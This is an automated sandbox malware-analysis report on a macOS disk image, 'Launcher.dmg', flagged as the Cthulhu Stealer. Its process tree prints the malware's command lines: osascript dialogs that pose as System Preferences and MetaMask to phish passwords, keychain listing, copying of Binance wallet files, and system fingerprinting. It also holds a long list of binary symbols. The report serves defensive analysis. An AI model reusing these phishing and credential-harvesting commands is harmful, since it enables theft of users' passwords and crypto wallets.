Joe Sandbox Cloud Pro Analysis Report

Loading Joe Sandbox Report ...

Edit tour

macOS Analysis Report
Launcher.dmg

Overview

General Information

Sample name:Launcher.dmg
Analysis ID:4043688
MD5:35d531cea797134df28c7102cfc291a1
SHA1:289171f80fb40e483339fa1ace44695d2b19a801
SHA256:6483094f7784c424891644a85d5535688c8969666e16a194d397dc66779b0b12
Infos:

Detection

CTHULHU STEALER
Score:84
Range:0 - 100
Whitelisted:false

Signatures

Writes files with sensitive content related to the Cthulhu stealer
Yara detected CTHULHU STEALER
Accesses directories and/or files with sensitive browser data likely for credential stealing
Executes Apple scripts that request for passwords (for privilege escalation or leakage)
Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration
Executes the "security" command used to access the keychain
Uses known network protocols on non-standard ports
Writes files containing the user's password
Writes files with content indentifying the system (indicating system fingerprinting)
Accesses files related to crypto wallets (potentially stealing the sensitive information)
Contains symbols with suspicious names likely related to anti-analysis
Contains symbols with suspicious names likely related to encryption
Contains symbols with suspicious names likely related to networking
Contains symbols with suspicious names likely related to well-known browsers
Creates hidden files, links and/or directories
Detected TCP or UDP traffic on non-standard ports
Executes Apple scripts and/or other OSA language scripts with shell command 'osascript'
Executes the "pgrep" command search for and/or send signals to processes
Executes the "rm" command used to delete files or directories
Executes the "system_profiler" command used to collect detailed system hardware and software information
Executes the "touch" command used to create files or modify time stamps
Mach-O contains sections with high entropy indicating compressed/encrypted content
May check the online IP address of the machine
Uses AppleScript framework/components containing Apple Script related functionalities
Uses AppleScript scripting additions containing additional functionalities for Apple Scripts
Writes ZIP files to disk

Classification

General Information

Joe Sandbox version:
Analysis ID:4043688
Start date and time:2024-08-26 12:46:10 +02:00
Joe Sandbox product:Cloud
Overall analysis duration:0h 9m 59s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultmacinteractivecookbook.jbs
Analysis system description:Mac Mini, Apple Silicon ARM64, Ventura (Office 2021, Java 1.8.0_381, Adobe Reader DC 23, Chrome 116, Firefox 116)
macOS major version:13
CPU architecture:arm64
Analysis Mode:default
Sample name:Launcher.dmg
Detection:MAL
Classification:mal84.troj.spyw.evad.macDMG@0/28@2/0

Warnings

  • Report size exceeded maximum capacity and may have missing behavior information.
  • Report size getting too big, too many JMT_LOOKUP calls found.

Runtime Messages

⊘Runtime messages are not available for Live Interaction sessions

Process Tree

  • System is mac-arm-ventura
  • Terminal New Fork (PID: 1230, Parent: 470)
  • login (MD5: 14b465cfd148ee4bc8330f9ae22683dc) Arguments: login -pf rodrigo
    • login New Fork (PID: 1231, Parent: 1230)
    • bash (MD5: 2a6caea9db40595c35bd53120c9e1393) Arguments: -bash
      • bash New Fork (PID: 1232, Parent: 1231)
        • bash New Fork (PID: 1233, Parent: 1232)
        • path_helper (MD5: a555e586fad78194999d457bf7693b1d) Arguments: /usr/libexec/path_helper -s
      • bash New Fork (PID: 1234, Parent: 1231)
      • mkdir (MD5: 80c8877b68a14c3a6c46cb653611c53e) Arguments: mkdir -m 700 -p /Users/rodrigo/.bash_sessions
      • bash New Fork (PID: 1235, Parent: 1231)
        • bash New Fork (PID: 1236, Parent: 1235)
        • touch (MD5: a26a786a3e1eeb6b490b94dc799165a4) Arguments: /usr/bin/touch /Users/rodrigo/.bash_sessions/DCAE3CE8-EA97-49BC-B27E-2AE560A9E1DB.historynew
      • bash New Fork (PID: 1237, Parent: 1231)
      • Launch (MD5: 3eefdd8aa489b6b043dc4ef5e3804303) Arguments: /Volumes/Launch/Launch
        • Launch New Fork (PID: 1238, Parent: 1237)
        • Launch (MD5: 3eefdd8aa489b6b043dc4ef5e3804303) Arguments: /Volumes/Launch/Launch background
          • Launch New Fork (PID: 1251, Parent: 1238)
          • osascript (MD5: 4fa520f20abf9ce4356b13b13ad43785) Arguments: osascript -e display dialog "To launch the application, you need to update the system settings\n\nPlease enter your password." default answer "" with hidden answer with icon caution buttons {"Cancel", "OK"} default button "OK" with title "System Preferences"
          • Launch New Fork (PID: 1260, Parent: 1238)
          • osascript (MD5: 4fa520f20abf9ce4356b13b13ad43785) Arguments: osascript -e display dialog "MacOS wants to access the MetaMask" default answer "" with icon POSIX file "/var/folders/lz/nsqjk8n92l30_9hwqkbhfpym0000gp/T/ic.png1884498256" buttons {"Cancel", "OK"} default button "OK" with title "Wallet Connect"
          • Launch New Fork (PID: 1261, Parent: 1238)
          • security (MD5: 05bb69f46a91f9b057f2e279de6a9435) Arguments: security list-keychains
          • Launch New Fork (PID: 1262, Parent: 1238)
          • cp (MD5: 3f64ee5b039cadf4a26446e5d9a86f83) Arguments: cp /Users/rodrigo/Library/Application Support/Binance/.finger-print.fp /Users/Shared/NW/Wallet/binance/finger-print.fp
          • Launch New Fork (PID: 1263, Parent: 1238)
          • system_profiler (MD5: f5b1d8a583467cae5c5d5589e6a1895f) Arguments: system_profiler SPHardwareDataType SPSoftwareDataType
            • system_profiler (MD5: f5b1d8a583467cae5c5d5589e6a1895f) Arguments: /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full
            • system_profiler (MD5: f5b1d8a583467cae5c5d5589e6a1895f) Arguments: /usr/sbin/system_profiler -nospawn -xml SPSoftwareDataType -detailLevel full
              • csrutil (MD5: 434fecbeddbeb8b98548b9fb668abf68) Arguments: /usr/bin/csrutil status
          • Launch New Fork (PID: 1272, Parent: 1238)
          • pgrep (MD5: 911fc806df3e124db2bde32c85922535) Arguments: pgrep firefox
      • bash New Fork (PID: 1239, Parent: 1231)
        • bash New Fork (PID: 1240, Parent: 1239)
          • bash New Fork (PID: 1241, Parent: 1240)
          • date (MD5: 3a91f607c030997a44afa8b20669e6d1) Arguments: /bin/date +%s
      • bash New Fork (PID: 1242, Parent: 1231)
        • bash New Fork (PID: 1243, Parent: 1242)
        • touch (MD5: a26a786a3e1eeb6b490b94dc799165a4) Arguments: /usr/bin/touch /Users/rodrigo/.bash_sessions/DCAE3CE8-EA97-49BC-B27E-2AE560A9E1DB.historynew
      • bash New Fork (PID: 1244, Parent: 1231)
        • bash New Fork (PID: 1245, Parent: 1244)
        • cp (MD5: 3f64ee5b039cadf4a26446e5d9a86f83) Arguments: /bin/cp /Users/rodrigo/.bash_history /Users/rodrigo/.bash_sessions/DCAE3CE8-EA97-49BC-B27E-2AE560A9E1DB.history
      • bash New Fork (PID: 1246, Parent: 1231)
        • bash New Fork (PID: 1247, Parent: 1246)
      • bash New Fork (PID: 1249, Parent: 1231)
        • bash New Fork (PID: 1250, Parent: 1249)
        • cat (MD5: a9d3d79b6a261dde4afc11aa38eed643) Arguments: /bin/cat /Users/rodrigo/.bash_sessions/DCAE3CE8-EA97-49BC-B27E-2AE560A9E1DB.historynew
      • bash New Fork (PID: 1252, Parent: 1231)
      • bash New Fork (PID: 1253, Parent: 1231)
      • shlock (MD5: 9b281feb7bdfb37957b925fa62600d84) Arguments: /usr/bin/shlock -f /Users/rodrigo/.bash_sessions/_expiration_lockfile -p 1231
      • bash New Fork (PID: 1254, Parent: 1231)
        • bash New Fork (PID: 1255, Parent: 1254)
        • find (MD5: 5a05ccb58a15b03e44f32ad68f86b166) Arguments: /usr/bin/find /Users/rodrigo/.bash_sessions -type f -mtime +2w -print -delete
        • bash New Fork (PID: 1256, Parent: 1254)
        • wc (MD5: 364829db2c2cd2d7e68eabb91217d0a6) Arguments: /usr/bin/wc -l
      • bash New Fork (PID: 1257, Parent: 1231)
        • bash New Fork (PID: 1258, Parent: 1257)
        • touch (MD5: a26a786a3e1eeb6b490b94dc799165a4) Arguments: /usr/bin/touch /Users/rodrigo/.bash_sessions/_expiration_check_timestamp
      • bash New Fork (PID: 1259, Parent: 1231)
      • rm (MD5: dba08d0ccaff1fa37865ef9a1c8ed34d) Arguments: /bin/rm /Users/rodrigo/.bash_sessions/_expiration_lockfile
  • cleanup

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
LaunchJoeSecurity_CTHULHUSTEALERYara detected CTHULHU STEALERJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    Process Memory Space: Launch PID: 1237JoeSecurity_CTHULHUSTEALERYara detected CTHULHU STEALERJoe Security
      Process Memory Space: Launch PID: 1238JoeSecurity_CTHULHUSTEALERYara detected CTHULHU STEALERJoe Security
        Process Memory Space: Launch PID: 1238JoeSecurity_CTHULHUSTEALERYara detected CTHULHU STEALERJoe Security

          Suricata Signatures

          ⊘No Suricata rule has matched

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.fiatScalarFromMontgomery
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.fiatScalarMul
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.fiatScalarAdd
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.fiatScalarFromBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.d2
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.feOne
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.basepointNafTablePrecomp
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.d
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.basepointNafTable
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.basepointNafTable.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519..stmp_9
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519..stmp_2
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519..stmp_8
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519..stmp_10
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519..stmp_11
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519..stmp_0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519..stmp_1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*projP2).FromP1xP1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519..inittask
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*projP1xP1).SubAffine
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*projP1xP1).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*projP1xP1).Sub
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*projP1xP1).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*projP1xP1).AddAffine
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*nafLookupTable8).FromP3
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*projCached).FromP3
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*affineCached).FromP3
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*nafLookupTable5).FromP3
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Scalar).nonAdjacentForm
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Scalar).setShortBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Scalar).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Scalar).SetCanonicalBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Scalar).SetUniformBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Point).fromP1xP1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Point).fromP2
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Point).VarTimeDoubleScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Point).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Point).Negate
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Point).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.(*Point).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/boring.(*PublicKeyECDH).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/boring/sig.StandardCrypto.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.supportADX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/boring.(*PrivateKeyECDH).PublicKey
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.init
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.rr
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.addMulVVW1536.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.addMulVVW2048.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.NewModulusFromBig
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.addMulVVW1024.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod..inittask
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).setBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).shiftIn
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).montgomeryMul
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).montgomeryReduction
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).Sub
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).maybeSubtractModulus
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).SetOverflowingBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).Mul
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).IsZero
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).Mod
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).ExpShort
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).ExpandFor
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).Exp
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Nat).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Modulus).Nat
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Modulus).Size
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/bigmod.(*Modulus).BitLen
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac.New.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac.New.func1.1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac..stmp_0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac.New
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac.(*hmac).Sum
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac.(*hmac).Write
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac.(*hmac).Reset
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac.(*hmac).Size
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/hmac.(*hmac).BlockSize
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.panicIfNotOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.zForAffine
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.p384
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.p521
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.p256
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.p256Curve.Inverse
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.matchesSpecificCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.p224
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.initP521
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.initonce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.initP384
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.initP224
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.initP256
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.Unmarshal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.initAll
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_6
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.Marshal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_4
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_5
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_36
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_35
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_30
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_33
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_28
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_3
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..stmp_2
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..dict.nistCurve[*crypto/internal/nistec.P384Point]
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..dict.nistCurve[*crypto/internal/nistec.P521Point]
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..dict.nistCurve[*crypto/internal/nistec.P256Point]
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).UnmarshalCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic..dict.nistCurve[*crypto/internal/nistec.P224Point]
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).Unmarshal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).Params
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).Inverse
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).IsOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).CombinedMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*p256Curve).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).pointFromAffine
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).pointToAffine
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).UnmarshalCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).normalizeScalar
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).Unmarshal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).IsOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[go.shape.*uint8]).CombinedMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).Unmarshal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).UnmarshalCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).IsOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).Params
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).CombinedMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P521Point]).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).Unmarshal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).UnmarshalCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).IsOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).Params
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).CombinedMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P384Point]).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).Unmarshal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).UnmarshalCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).IsOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).Params
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).CombinedMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).UnmarshalCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P256Point]).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).Unmarshal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).IsOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).Params
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).CombinedMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).polynomial
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*nistCurve[*crypto/internal/nistec.P224Point]).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).doubleJacobian
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).addJacobian
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).affineFromJacobian
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).IsOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).Params
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/elliptic.(*CurveParams).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ed25519.PublicKey.Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ed25519.verify
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ed25519..stmp_0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.verifyNISTEC[go.shape.*uint8]
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ed25519.(*PublicKey).Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.precomputeParams[go.shape.*uint8]
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.verifyLegacy
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p521Once
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.parseSignature
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p521.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidSerialNumber
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p521.func1.1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidStreetAddress
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidPostalCode
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p521
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidProvince
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p384.func1.1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidOrganizationalUnit
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p384Once
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p384
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidLocality
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p384.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidOrganization
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p256.func1.1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidCommonName
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p256Once
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.oidCountry
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p256
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.init
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p256.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.map.init.0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p224.func1.1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.RDNSequence.String
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p224Once
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.attributeTypeNames
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.Name.appendRDNs
